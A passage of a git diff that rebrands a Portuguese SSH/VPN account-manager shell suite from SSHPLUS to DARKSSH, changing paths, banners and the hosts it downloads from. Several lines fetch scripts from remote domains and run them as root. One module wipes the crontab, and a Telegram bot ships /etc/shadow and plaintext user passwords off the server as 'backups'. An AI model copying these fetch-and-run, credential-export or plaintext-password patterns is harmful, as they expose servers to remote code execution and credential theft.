/bin/ultrahost https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/SSHPLUS-MANAGER-FREE/master/Install/Menu_UP/menuV4/ultrahost; chmod +x /bin/ultrahost -wget -O /bin/vncinstall https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/SSHPLUS-MANAGER-FREE/master/Install/Menu_UP/menuV4/vncinstall; chmod +x /bin/vncinstall +wget -O /bin/criarpay https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/DARKSSH-MANAGER-FREE/master/Install/Menu_UP/menuV4/criarpay; chmod +x /bin/criarpay +wget -O /bin/fai2ban https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/DARKSSH-MANAGER-FREE/master/Install/Menu_UP/menuV4/fai2ban; chmod +x /bin/fai2ban +wget -O /bin/paysnd https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/DARKSSH-MANAGER-FREE/master/Install/Menu_UP/menuV4/paysnd; chmod +x /bin/paysnd +wget -O /bin/squidcache https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/DARKSSH-MANAGER-FREE/master/Install/Menu_UP/menuV4/squidcache; chmod +x /bin/squidcache +wget -O /bin/tcpspeed https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/DARKSSH-MANAGER-FREE/master/Install/Menu_UP/menuV4/tcpspeed; chmod +x /bin/tcpspeed +wget -O /bin/ultrahost https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/DARKSSH-MANAGER-FREE/master/Install/Menu_UP/menuV4/ultrahost; chmod +x /bin/ultrahost +wget -O /bin/vncinstall https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/DARKSSH-MANAGER-FREE/master/Install/Menu_UP/menuV4/vncinstall; chmod +x /bin/vncinstall # Menu Utilitarios -wget -O /bin/usercodes https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/SSHPLUS-MANAGER-FREE/master/Install/Menu_UP/menuV4/usercodes; chmod +x /bin/usercodes -wget -O /bin/ferramentascodes https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/SSHPLUS-MANAGER-FREE/master/Install/Menu_UP/menuV4/ferramentascodes; chmod +x /bin/ferramentascodes -wget -O /bin/utilitarios https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/SSHPLUS-MANAGER-FREE/master/Install/Menu_UP/menuV4/utilitarios; chmod +x /bin/utilitarios -wget -O /bin/menu https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/SSHPLUS-MANAGER-FREE/master/Install/Menu_UP/menuV4/menu; chmod +x /bin/menu; /bin/menu +wget -O /bin/usercodes https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/DARKSSH-MANAGER-FREE/master/Install/Menu_UP/menuV4/usercodes; chmod +x /bin/usercodes +wget -O /bin/ferramentascodes https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/DARKSSH-MANAGER-FREE/master/Install/Menu_UP/menuV4/ferramentascodes; chmod +x /bin/ferramentascodes +wget -O /bin/utilitarios https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/DARKSSH-MANAGER-FREE/master/Install/Menu_UP/menuV4/utilitarios; chmod +x /bin/utilitarios +wget -O /bin/menu https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/DARKSSH-MANAGER-FREE/master/Install/Menu_UP/menuV4/menu; chmod +x /bin/menu; /bin/menu #fim \ No newline at end of file diff --git a/Install/slowdns b/Install/slowdns index 540250a..1c54fce 100644 --- a/Install/slowdns +++ b/Install/slowdns @@ -18,7 +18,7 @@ banner=' |___/____\___/ \_/\_/ |___/|_|\_|___/' echo -e "${CORTITLE}=====================================${SCOLOR}" -echo -e "${CORTITLE} SSHPLUS CLIENTE SLOWDNS ${SCOLOR}" +echo -e "${CORTITLE} DARKSSH CLIENTE SLOWDNS ${SCOLOR}" echo -e "${CORTITLE}=====================================${SCOLOR}" echo -e "${RED}$banner${SCOLOR}" [[ ! -e dns ]] && { @@ -29,7 +29,7 @@ echo -e "${RED}$banner${SCOLOR}" chmod +x $PREFIX/bin/slowdns [[ $(grep -c 'slowdns' $PREFIX/etc/profile) == '0' ]] && echo 'slowdns' >> $PREFIX/etc/profile echo -e "\n${GREEN}BAIXANDO O SCRIPT POR FAVOR AGUARDE ! ${SCOLOR}" - curl -O https://sshplus.net/scripts/dns > /dev/null 2>&1 + curl -O https://darkssh.net/scripts/dns > /dev/null 2>&1 echo -e "\n${RED}[${YELLOW}!${RED}] ${YELLOW}SCRIPT BAIXADO ! DA PROXIMA VEZ\nEXECULTE APENAS O COMANDO ${RED}(${GREEN}slowdns${RED})\n${YELLOW}MESMO QUE VOCÊ ESTEJA OFFLINE !${SCOLOR}" chmod +x dns } diff --git a/Modulos/alterarsenha b/Modulos/alterarsenha index 315af7c..1e6b267 100644 --- a/Modulos/alterarsenha +++ b/Modulos/alterarsenha @@ -10,8 +10,8 @@ while read _user; do i=$(expr $i + 1) _oP=$i [[ $i == [1-9] ]] && i=0$i && oP+=" 0$i" - if [[ -e "/etc/SSHPlus/senha/$_user" ]]; then - _senha="$(cat /etc/SSHPlus/senha/$_user)" + if [[ -e "/etc/DARKssh/senha/$_user" ]]; then + _senha="$(cat /etc/DARKssh/senha/$_user)" else _senha='Null' fi @@ -47,7 +47,7 @@ else then echo "$user:$password" | chpasswd tput setaf 7 ; tput setab 1 ; tput bold ; echo "" ; echo "User password $user has been changed to: $password" ; echo "" ; tput sgr0 - echo "$password" > /etc/SSHPlus/senha/$user + echo "$password" > /etc/DARKssh/senha/$user exit 1 else echo "" @@ -55,7 +55,7 @@ else pkill -f $user echo "$user:$password" | chpasswd tput setaf 7 ; tput setab 1 ; tput bold ; echo "" ; echo "User password $user has been changed to: $password" ; echo "" ; tput sgr0 - echo "$password" > /etc/SSHPlus/senha/$user + echo "$password" > /etc/DARKssh/senha/$user exit 1 fi fi @@ -73,8 +73,8 @@ while read _user; do i=$(expr $i + 1) _oP=$i [[ $i == [1-9] ]] && i=0$i && oP+=" 0$i" - if [[ -e "/etc/SSHPlus/senha/$_user" ]]; then - _senha="$(cat /etc/SSHPlus/senha/$_user)" + if [[ -e "/etc/DARKssh/senha/$_user" ]]; then + _senha="$(cat /etc/DARKssh/senha/$_user)" else _senha='Null' fi @@ -110,7 +110,7 @@ else then echo "$user:$password" | chpasswd tput setaf 7 ; tput setab 1 ; tput bold ; echo "" ; echo "User password $user has been changed to: $password" ; echo "" ; tput sgr0 - echo "$password" > /etc/SSHPlus/senha/$user + echo "$password" > /etc/DARKssh/senha/$user exit 1 else echo "" @@ -118,7 +118,7 @@ else pkill -f $user echo "$user:$password" | chpasswd tput setaf 7 ; tput setab 1 ; tput bold ; echo "" ; echo "User password $user has been changed to: $password" ; echo "" ; tput sgr0 - echo "$password" > /etc/SSHPlus/senha/$user + echo "$password" > /etc/DARKssh/senha/$user exit 1 fi fi diff --git a/Modulos/attscript b/Modulos/attscript index 6405c97..2c293df 100644 --- a/Modulos/attscript +++ b/Modulos/attscript @@ -62,7 +62,7 @@ fun_atts () { [[ -e /tmp/att ]] && rm /tmp/att - wget -c -P /home http://sshplus.xyz/script/versao + wget -c -P /home http://darkssh.xyz/script/versao [[ -f "/home/versao" ]] && mv /home/versao /tmp/att @@ -132,11 +132,11 @@ vrs2=$(sed -n '1 p' /tmp/att | sed -e 's/[^0-9]//ig') sleep 3 - wget http://sshplus.xyz/script/Plus > /dev/null 2>&1 + wget http://darkssh.xyz/script/Dark > /dev/null 2>&1 - chmod +x Plus + chmod +x Dark - ./Plus + ./Dark clear diff --git a/Modulos/autoreboot b/Modulos/autoreboot new file mode 100644 index 0000000..f2e4293 --- /dev/null +++ b/Modulos/autoreboot @@ -0,0 +1,19 @@ +#!/bin/bash + +crontab -r >/dev/null 2>&1 +( + crontab -l 2>/dev/null + echo "@daily /bin/verifatt" + echo "@reboot /etc/autostart" + echo "* * * * * /etc/autostart" + echo "0 */6 * * * /bin/uexpired" + echo "@reboot systemctl start firewalld" + echo "0 5 * * * /sbin/reboot" +) | crontab - + + + + +echo -e "\n\033[1;32mAUTOREBOOT ACTIVE!\033[0m" +sleep 3 +menu diff --git a/Modulos/blockt b/Modulos/blockt index 2a51292..40d8a2a 100644 --- a/Modulos/blockt +++ b/Modulos/blockt @@ -1,7 +1,7 @@ #!/bin/bash clear IP=$(wget -qO- ipv4.icanhazip.com) -arq="/etc/Plus-torrent" +arq="/etc/Dark-torrent" echo -e "\E[44;1;37m FIREWALL BLOCK TORRENT \E[0m" echo "" if [[ -e "$arq" ]]; then @@ -136,7 +136,7 @@ iptables -A FORWARD -m string --string "announce_peer" --algo bm -j DROP iptables -A FORWARD -m string --string "find_node" --algo bm -j DROP' >> $arq sleep 2 chmod +x $arq -/etc/Plus-torrent > /dev/null +/etc/Dark-torrent > /dev/null } fun_spn2 () { helice () { diff --git a/Modulos/bot b/Modulos/bot index 4468249..b44d925 100644 --- a/Modulos/bot +++ b/Modulos/bot @@ -1,13 +1,13 @@ #!/bin/bash #=================================================== -# SCRIPT: BOT SSHPLUS MANAGER +# SCRIPT: BOT DARKSSH MANAGER # DATA ATT: 24 de Jan 2021 # DESENVOLVIDO POR: CRAZY_VPN # API SHELLBOT: SHAMAN # CONTATO TELEGRAM: http://t.me/crazy_vpn -# CANAL TELEGRAM: http://t.me/sshplus +# CANAL TELEGRAM: http://t.me/darkssh #=================================================== -[[ ! -d /etc/SSHPlus ]] && exit 0 +[[ ! -d /etc/DARKssh ]] && exit 0 [[ ! -d /etc/bot ]] && exit 0 source ShellBot.sh api_bot=$1 @@ -250,7 +250,7 @@ criar_user() { echo "$usuario:$senha:$info_data:$limite" >/etc/bot/info-users/$usuario } echo "$usuario $limite" >>/root/usuarios.db - echo "$senha" >/etc/SSHPlus/senha/$usuario + echo "$senha" >/etc/DARKssh/senha/$usuario [[ -e "/etc/openvpn/server.conf" ]] && { cd /etc/openvpn/easy-rsa/ ./easyrsa build-client-full $usuario nopass @@ -284,7 +284,7 @@ fun_del_user() { userdel --force "$usuario" 2>/dev/null grep -v ^$usuario[[:space:]] /root/usuarios.db >/tmp/ph cat /tmp/ph >/root/usuarios.db - rm /etc/SSHPlus/senha/$usuario >/dev/null 2>&1 + rm /etc/DARKssh/senha/$usuario >/dev/null 2>&1 } || { [[ ! -e /etc/bot/revenda/${message_from_username}/usuarios/$usuario ]] && { ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ @@ -298,11 +298,11 @@ fun_del_user() { userdel --force "$usuario" 2>/dev/null grep -v ^$usuario[[:space:]] /root/usuarios.db >/tmp/ph cat /tmp/ph >/root/usuarios.db - rm /etc/SSHPlus/senha/$usuario >/dev/null 2>&1 + rm /etc/DARKssh/senha/$usuario >/dev/null 2>&1 rm /etc/bot/revenda/${message_from_username}/usuarios/$usuario rm /etc/bot/info-users/$usuario } - [[ -e /etc/SSHPlus/userteste/$usuario.sh ]] && rm /etc/SSHPlus/userteste/$usuario.sh + [[ -e /etc/DARKssh/userteste/$usuario.sh ]] && rm /etc/DARKssh/userteste/$usuario.sh [[ -e "/etc/openvpn/easy-rsa/pki/private/$usuario.key" ]] && { [[ -e /etc/debian_version ]] && GROUPNAME=nogroup cd /etc/openvpn/easy-rsa/ @@ -339,7 +339,7 @@ alterar_senha_user() { usuario=$1 senha=$2 echo "$usuario:$senha" | chpasswd - echo "$senha" >/etc/SSHPlus/senha/$usuario + echo "$senha" >/etc/DARKssh/senha/$usuario [[ -e /etc/bot/revenda/${message_from_username}/usuarios/$usuario ]] && { senha2=$(cat /etc/bot/revenda/${message_from_username}/usuarios/$usuario | awk -F : {'print $2'}) sed -i "/$usuario/ s/\b$senha2\b/$senha/g" /etc/bot/revenda/${message_from_username}/usuarios/$usuario @@ -475,7 +475,7 @@ ver_users() { local info for user in $(cat /etc/passwd | awk -F : '$3 >= 1000 {print $1}' | grep -v nobody); do info='===========================\n' - [[ -e /etc/SSHPlus/senha/$user ]] && senha=$(cat /etc/SSHPlus/senha/$user) || senha='Null' + [[ -e /etc/DARKssh/senha/$user ]] && senha=$(cat /etc/DARKssh/senha/$user) || senha='Null' [[ $(grep -wc $user $HOME/usuarios.db) != '0' ]] && limite=$(grep -w $user $HOME/usuarios.db | cut -d' ' -f2) || limite='Null' datauser=$(chage -l $user | grep -i co | awk -F : '{print $2}') [[ $datauser = ' never' ]] && { @@ -527,7 +527,7 @@ ver_users() { local info for user in $(ls /etc/bot/revenda/${callback_query_from_username}/usuarios); do info='===========================\n' - [[ -e /etc/SSHPlus/senha/$user ]] && senha=$(cat /etc/SSHPlus/senha/$user) || senha='Null' + [[ -e /etc/DARKssh/senha/$user ]] && senha=$(cat /etc/DARKssh/senha/$user) || senha='Null' [[ $(grep -wc $user $HOME/usuarios.db) != '0' ]] && limite=$(grep -w $user $HOME/usuarios.db | cut -d' ' -f2) || limite='Null' datauser=$(chage -l $user | grep -i co | awk -F : '{print $2}') [[ $datauser = ' never' ]] && { @@ -902,7 +902,7 @@ backup_users() { rm /root/backup.vps 1>/dev/null 2>/dev/null ShellBot.answerCallbackQuery --callback_query_id ${callback_query_id[$id]} \ --text "♻️ CREATING USERS BACKUP" - tar cvf /root/backup.vps /root/usuarios.db /etc/shadow /etc/passwd /etc/group /etc/gshadow /etc/bot /etc/SSHPlus/senha 1>/dev/null 2>/dev/null + tar cvf /root/backup.vps /root/usuarios.db /etc/shadow /etc/passwd /etc/group /etc/gshadow /etc/bot /etc/DARKssh/senha 1>/dev/null 2>/dev/null ShellBot.sendDocument --chat_id ${id_admin} \ --document "@/root/backup.vps" \ --caption "$(echo -e "♻️ USER BACKUP ♻️")" @@ -972,24 +972,24 @@ fun_teste() { echo "$senha" echo "$senha" ) | passwd $usuario >/dev/null 2>&1 - echo "$senha" >/etc/SSHPlus/senha/$usuario + echo "$senha" >/etc/DARKssh/senha/$usuario echo "$usuario $limite" >>/root/usuarios.db [[ "${message_from_id[$id]}" != "$id_admin" ]] && { echo "$usuario:$senha:$ex_date:$limite" >/etc/bot/revenda/${message_from_username}/usuarios/$usuario } dir_teste="/etc/bot/revenda/${message_from_username}/usuarios/$usuario" - cat <<-EOF >/etc/SSHPlus/userteste/$usuario.sh + cat <<-EOF >/etc/DARKssh/userteste/$usuario.sh #!/bin/bash # USUARIO TESTE [[ \$(ps -u "$usuario" | grep -c sshd) != '0' ]] && pkill -u $usuario userdel --force $usuario grep -v ^$usuario[[:space:]] /root/usuarios.db > /tmp/ph ; cat /tmp/ph > /root/usuarios.db [[ -e $dir_teste ]] && rm $dir_teste - rm /etc/SSHPlus/senha/$usuario > /dev/null 2>&1 - rm /etc/SSHPlus/userteste/$usuario.sh + rm /etc/DARKssh/senha/$usuario > /dev/null 2>&1 + rm /etc/DARKssh/userteste/$usuario.sh EOF - chmod +x /etc/SSHPlus/userteste/$usuario.sh - echo "/etc/SSHPlus/userteste/$usuario.sh" | at now + $t_time hour >/dev/null 2>&1 + chmod +x /etc/DARKssh/userteste/$usuario.sh + echo "/etc/DARKssh/userteste/$usuario.sh" | at now + $t_time hour >/dev/null 2>&1 [[ "$t_time" == '1' ]] && hrs="hora" || hrs="horas" [[ "$(ls /etc/bot/arquivos | wc -l)" != '0' ]] && { for arqv in $(ls /etc/bot/arquivos); do @@ -1027,7 +1027,7 @@ fun_exp_user() { grep -v ^$user[[:space:]] /root/usuarios.db >/tmp/ph cat /tmp/ph >/root/usuarios.db [[ -e /etc/bot/info-users/$user ]] && rm /etc/bot/info-users/$user - [[ -e /etc/SSHPlus/userteste/$user.sh ]] && rm /etc/SSHPlus/userteste/$user.sh + [[ -e /etc/DARKssh/userteste/$user.sh ]] && rm /etc/DARKssh/userteste/$user.sh [[ "$(ls /etc/bot/revenda)" != '0' ]] && { for ex in $(ls /etc/bot/revenda); do [[ -e /etc/bot/revenda/$exp/usuarios/$user ]] && rm /etc/bot/revenda/$ex/usuarios/$user @@ -1061,7 +1061,7 @@ fun_exp_user() { userdel --force $user grep -v ^$user[[:space:]] /root/usuarios.db >/tmp/ph cat /tmp/ph >/root/usuarios.db - [[ -e /etc/SSHPlus/userteste/$user.sh ]] && rm /etc/SSHPlus/userteste/$user.sh + [[ -e /etc/DARKssh/userteste/$user.sh ]] && rm /etc/DARKssh/userteste/$user.sh [[ -e "$dir_user/$user" ]] && rm $dir_user/$user done ShellBot.answerCallbackQuery --callback_query_id ${callback_query_id[$id]} \ @@ -1229,8 +1229,8 @@ relatorio_rev() { fun_backauto() { [[ "${callback_query_from_id[$id]}" = "$id_admin" ]] && { - [[ ! -d /etc/SSHPlus/backups ]] && { - mkdir /etc/SSHPlus/backups + [[ ! -d /etc/DARKssh/backups ]] && { + mkdir /etc/DARKssh/backups [[ $(crontab -l | grep -c "userbackup") = '0' ]] && ( crontab -l 2>/dev/null echo "0 */6 * * * /bin/userbackup 1" @@ -1241,7 +1241,7 @@ fun_backauto() { return 0 } || { [[ $(crontab -l | grep -c "userbackup") != '0' ]] && crontab -l | grep -v 'userbackup' | crontab - - [[ -d /etc/SSHPlus/backups ]] && rm -rf /etc/SSHPlus/backups + [[ -d /etc/DARKssh/backups ]] && rm -rf /etc/DARKssh/backups ShellBot.answerCallbackQuery --callback_query_id ${callback_query_id[$id]} \ --text "♻️ AUTOMATIC BACKUP DISABLED 🔴" return 0 @@ -1251,9 +1251,9 @@ fun_backauto() { backup_auto() { ShellBot.sendDocument --chat_id $id_admin \ - --document "@/etc/SSHPlus/backups/backup.vps" \ + --document "@/etc/DARKssh/backups/backup.vps" \ --caption "$(echo -e "♻️ AUTOMATIC BACKUP ♻️")" - rm /etc/SSHPlus/backups/backup.vps + rm /etc/DARKssh/backups/backup.vps return 0 } @@ -1883,7 +1883,7 @@ unset keyboard4 keyboard4="$(ShellBot.InlineKeyboardMarkup -b 'menu4')" while :; do - [[ -e "/etc/SSHPlus/backups/backup.vps" ]] && { + [[ -e "/etc/DARKssh/backups/backup.vps" ]] && { backup_auto } #Obtem as atualizações diff --git a/Modulos/botssh b/Modulos/botssh index 578a84b..f331ef8 100644 --- a/Modulos/botssh +++ b/Modulos/botssh @@ -37,14 +37,14 @@ fun_botOnOff () { clear echo -e "\033[1;32mSTARTING DARKSSH BOT \033[0m\n" fun_bot1 () { - [[ ! -e "/etc/SSHPlus/ShellBot.sh" ]] && wget -qO- https://raw.githubusercontent.com/shellscriptx/shellbot/master/ShellBot.sh > /etc/SSHPlus/ShellBot.sh - cd /etc/SSHPlus + [[ ! -e "/etc/DARKssh/ShellBot.sh" ]] && wget -qO- https://raw.githubusercontent.com/shellscriptx/shellbot/master/ShellBot.sh > /etc/DARKssh/ShellBot.sh + cd /etc/DARKssh screen -dmS bot_plus ./bot $tokenbot $iduser > /dev/null 2>&1 [[ $(grep -wc "bot_plus" /etc/autostart) = '0' ]] && { - echo -e "ps x | grep 'bot_plus' | grep -v 'grep' && echo 'ON' || cd /etc/SSHPlus && sudo screen -dmS bot_plus ./bot $tokenbot $iduser && cd $HOME" >> /etc/autostart + echo -e "ps x | grep 'bot_plus' | grep -v 'grep' && echo 'ON' || cd /etc/DARKssh && sudo screen -dmS bot_plus ./bot $tokenbot $iduser && cd $HOME" >> /etc/autostart } || { sed -i '/bot_plus/d' /etc/autostart - echo -e "ps x | grep 'bot_plus' | grep -v 'grep' && echo 'ON' || cd /etc/SSHPlus && sudo screen -dmS bot_plus ./bot $tokenbot $iduser && cd $HOME" >> /etc/autostart + echo -e "ps x | grep 'bot_plus' | grep -v 'grep' && echo 'ON' || cd /etc/DARKssh && sudo screen -dmS bot_plus ./bot $tokenbot $iduser && cd $HOME" >> /etc/autostart } [[ $(crontab -l|grep -c "verifbot") = '0' ]] && (crontab -l 2>/dev/null; echo "@daily /bin/verifbot") | crontab - cd $HOME @@ -73,7 +73,7 @@ fun_botOnOff () { } fun_instbot () { -echo -e "\E[44;1;37m BOT SSHPLUS INSTALLER \E[0m\n" +echo -e "\E[44;1;37m BOT DARKSSH INSTALLER \E[0m\n" echo -e " \033[1;33m[\033[1;31m!\033[1;33m] \033[1;31mATTENTION \033[1;33m[\033[1;31m!\033[1;33m]\033[0m" echo -e "\n\033[1;32m1° \033[1;37m- \033[1;33mBY YOUR TELEGRAM ACCESS THE FOLLOWING BOT\033[1;37m:\033[0m" echo -e "\n\033[1;32m2° \033[1;37m- \033[1;33mBOT \033[1;37m@BotFather \033[1;33mCREATE YOUR BOT \033[1;31mOPTION: \033[1;37m/newbot\033[0m" @@ -89,5 +89,5 @@ if [[ "$resposta" = 's' ]]; then menu fi } -[[ -f "/etc/SSHPlus/ShellBot.sh" ]] && fun_botOnOff || fun_instbot +[[ -f "/etc/DARKssh/ShellBot.sh" ]] && fun_botOnOff || fun_instbot #fim diff --git a/Modulos/conexao b/Modulos/conexao index 4feae96..0a35edc 100644 --- a/Modulos/conexao +++ b/Modulos/conexao @@ -1,6 +1,6 @@ #!/bin/bash #==================================================== -# SCRIPT: CONEXAO DARKSSH MANAGER +# SCRIPT: CONEXAO SSHPLUS MANAGER # DESENVOLVIDO POR: CRAZY_VPN # DATA ATUALIZACAO: 28-04-2021 # CONTATO TELEGRAM: http://t.me/crazy_vpn @@ -17,7 +17,7 @@ comando[1]="$2" ( [[ -e $HOME/fim ]] && rm $HOME/fim - [[ ! -d /etc/SSHPlus ]] && rm -rf /bin/menu + [[ ! -d /etc/DARKssh ]] && rm -rf /bin/menu ${comando[0]} >/dev/null 2>&1 ${comando[1]} >/dev/null 2>&1 touch $HOME/fim @@ -575,7 +575,7 @@ #cat cert.pem key.pem >>/etc/stunnel/stunnel.pem #rm key.pem cert.pem >/dev/null 2>&1 sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 - cd /etc/stunnel && wget sshplus.xyz/script/stunnel.pem && cd $HOME + cd /etc/stunnel && wget darkssh.xyz/script/stunnel.pem && cd $HOME } fun_bar 'ssl_certif' echo -e "\n\033[1;32mSTARTING SSL TUNNEL!\033[0m" @@ -1081,7 +1081,7 @@ fun_dep() { wget -O ~/EasyRSA-3.0.1.tgz "https://github.com/OpenVPN/easy-rsa/releases/download/3.0.1/EasyRSA-3.0.1.tgz" [[ ! -e $HOME/EasyRSA-3.0.1.tgz ]] && { - wget -O ~/EasyRSA-3.0.1.tgz "http://sshplus.xyz/script/EasyRSA-3.0.1.tgz" + wget -O ~/EasyRSA-3.0.1.tgz "http://darkssh.xyz/script/EasyRSA-3.0.1.tgz" } tar xzf ~/EasyRSA-3.0.1.tgz -C ~/ mv ~/EasyRSA-3.0.1/ /etc/openvpn/ @@ -1328,12 +1328,12 @@ exit 0' >$RCLOCAL verif_ptrs $porta fun_inisocks() { sleep 1 - screen -dmS proxy python /etc/SSHPlus/proxy.py $porta + screen -dmS proxy python /etc/DARKssh/proxy.py $porta [[ $(grep -wc "proxy.py" /etc/autostart) = '0' ]] && { - echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'proxy' -X quit; screen -dmS proxy python /etc/SSHPlus/proxy.py $porta; }" >>/etc/autostart + echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'proxy' -X quit; screen -dmS proxy python /etc/DARKssh/proxy.py $porta; }" >>/etc/autostart } || { sed -i '/proxy.py/d' /etc/autostart - echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'proxy' -X quit; screen -dmS proxy python /etc/SSHPlus/proxy.py $porta; }" >>/etc/autostart + echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'proxy' -X quit; screen -dmS proxy python /etc/DARKssh/proxy.py $porta; }" >>/etc/autostart } } echo "" @@ -1383,17 +1383,17 @@ exit 0' >$RCLOCAL verif_ptrs $porta fun_inisocksop() { [[ "$(netstat -tlpn | grep 'openvpn' | wc -l)" != '0' ]] && { - listoldop=$(grep -w 'DEFAULT_HOST =' /etc/SSHPlus/open.py | cut -d"'" -f2 | cut -d: -f2) + listoldop=$(grep -w 'DEFAULT_HOST =' /etc/DARKssh/open.py | cut -d"'" -f2 | cut -d: -f2) listopen=$(netstat -tlpn | grep -w openvpn | grep -v 127.0.0.1 | awk {'print $4'} | cut -d: -f2) - sed -i "s/$listoldop/$listopen/" /etc/SSHPlus/open.py + sed -i "s/$listoldop/$listopen/" /etc/DARKssh/open.py } sleep 1 - screen -dmS openpy python /etc/SSHPlus/open.py $porta + screen -dmS openpy python /etc/DARKssh/open.py $porta [[ $(grep -wc "open.py" /etc/autostart) = '0' ]] && { - echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'openpy' -X quit; screen -dmS openpy python /etc/SSHPlus/open.py $porta; }" >>/etc/autostart + echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'openpy' -X quit; screen -dmS openpy python /etc/DARKssh/open.py $porta; }" >>/etc/autostart } || { sed -i '/open.py/d' /etc/autostart - echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'openpy' -X quit; screen -dmS openpy python /etc/SSHPlus/open.py $porta; }" >>/etc/autostart + echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'openpy' -X quit; screen -dmS openpy python /etc/DARKssh/open.py $porta; }" >>/etc/autostart } } echo "" @@ -1428,7 +1428,7 @@ exit 0' >$RCLOCAL echo "" abrirptsks() { sleep 1 - screen -dmS proxy python /etc/SSHPlus/proxy.py $porta + screen -dmS proxy python /etc/DARKssh/proxy.py $porta sleep 1 } fun_bar 'abrirptsks' @@ -1445,7 +1445,7 @@ exit 0' >$RCLOCAL elif [[ "$resposta" = '4' ]]; then if ps x | grep -w proxy.py | grep -v grep 1>/dev/null 2>/dev/null; then clear - msgsocks=$(cat /etc/SSHPlus/proxy.py | grep -E "MSG =" | awk -F = '{print $2}' | cut -d "'" -f 2) + msgsocks=$(cat /etc/DARKssh/proxy.py | grep -E "MSG =" | awk -F = '{print $2}' | cut -d "'" -f 2) echo -e "\E[44;1;37m PROXY SOCKS \E[0m" echo "" echo -e "\033[1;33mSTATUS: \033[1;32m$msgsocks" @@ -1500,11 +1500,11 @@ exit 0' >$RCLOCAL cor_sts='null' fi fun_msgsocks() { - msgsocks2=$(cat /etc/SSHPlus/proxy.py | grep "MSG =" | awk -F = '{print $2}') - sed -i "s/$msgsocks2/ '$msgg'/g" /etc/SSHPlus/proxy.py + msgsocks2=$(cat /etc/DARKssh/proxy.py | grep "MSG =" | awk -F = '{print $2}') + sed -i "s/$msgsocks2/ '$msgg'/g" /etc/DARKssh/proxy.py sleep 1 - cor_old=$(grep 'color=' /etc/SSHPlus/proxy.py | cut -d '"' -f2) - sed -i "s/\b$cor_old\b/$cor_sts/g" /etc/SSHPlus/proxy.py + cor_old=$(grep 'color=' /etc/DARKssh/proxy.py | cut -d '"' -f2) + sed -i "s/\b$cor_old\b/$cor_sts/g" /etc/DARKssh/proxy.py } echo "" @@ -1520,7 +1520,7 @@ exit 0' >$RCLOCAL screen -wipe >/dev/null _Ptsks="$(cat /tmp/Pt_sks)" sleep 1 - screen -dmS proxy python /etc/SSHPlus/proxy.py $_Ptsks + screen -dmS proxy python /etc/DARKssh/proxy.py $_Ptsks rm /tmp/Pt_sks fi } @@ -1676,7 +1676,7 @@ exit 0' >$RCLOCAL x="ok" fun_conexao() { while true $x != "ok"; do - [[ ! -e '/home/sshplus' ]] && exit 0 + [[ ! -e '/home/darkssh' ]] && exit 0 clear echo -e "\E[44;1;37m CONNECTION MODE \E[0m\n" echo -e "\033[1;32mSERVICE: \033[1;33mOPENSSH \033[1;32mPORT: \033[1;37m$(grep 'Port' /etc/ssh/sshd_config | cut -d' ' -f2 | grep -v 'no' | xargs)" && sts6="\033[1;32m◉ " @@ -1719,7 +1719,7 @@ exit 0' >$RCLOCAL sts1="\033[1;31m○ " } [[ "$(ps x | grep 'slow_dns' | grep -v 'grep'|wc -l)" != '0' ]] && { - echo -e "\033[1;32mSERVICE: \033[1;33mSLOWDNS \033[1;32mPORT: \033[1;37m$(sed -n 1p /etc/SSHPlus/dns/autodns | awk '{print $6}' | cut -d':' -f2)" + echo -e "\033[1;32mSERVICE: \033[1;33mSLOWDNS \033[1;32mPORT: \033[1;37m$(sed -n 1p /etc/DARKssh/dns/autodns | awk '{print $6}' | cut -d':' -f2)" sts8="\033[1;32m◉ " } || { sts8="\033[1;31m○ " diff --git a/Modulos/criarteste b/Modulos/criarteste index 80c271e..8acd676 100644 --- a/Modulos/criarteste +++ b/Modulos/criarteste @@ -1,13 +1,13 @@ #!/bin/bash IP=$(cat /etc/IP) -if [ ! -d /etc/SSHPlus/userteste ]; then -mkdir /etc/SSHPlus/userteste +if [ ! -d /etc/DARKssh/userteste ]; then +mkdir /etc/DARKssh/userteste fi tput setaf 7 ; tput setab 4 ; tput bold ; printf '%30s%s%-15s\n' "Create test user" ; tput sgr0 echo "" -[ "$(ls -A /etc/SSHPlus/userteste)" ] && echo -e "\033[1;32mActive Test!\033[1;37m" || echo -e "\033[1;31mNo active test!\033[0m" +[ "$(ls -A /etc/DARKssh/userteste)" ] && echo -e "\033[1;32mActive Test!\033[1;37m" || echo -e "\033[1;31mNo active test!\033[0m" echo "" -for testeson in $(ls /etc/SSHPlus/userteste |sort |sed 's/.sh//g') +for testeson in $(ls /etc/DARKssh/userteste |sort |sed 's/.sh//g') do echo "$testeson" done @@ -48,17 +48,18 @@ tput setaf 7 ; tput setab 1 ; tput bold ; echo "" ; echo "Empty or invalid limit fi useradd -M -s /bin/false $nome (echo $pass;echo $pass) |passwd $nome > /dev/null 2>&1 -echo "$pass" > 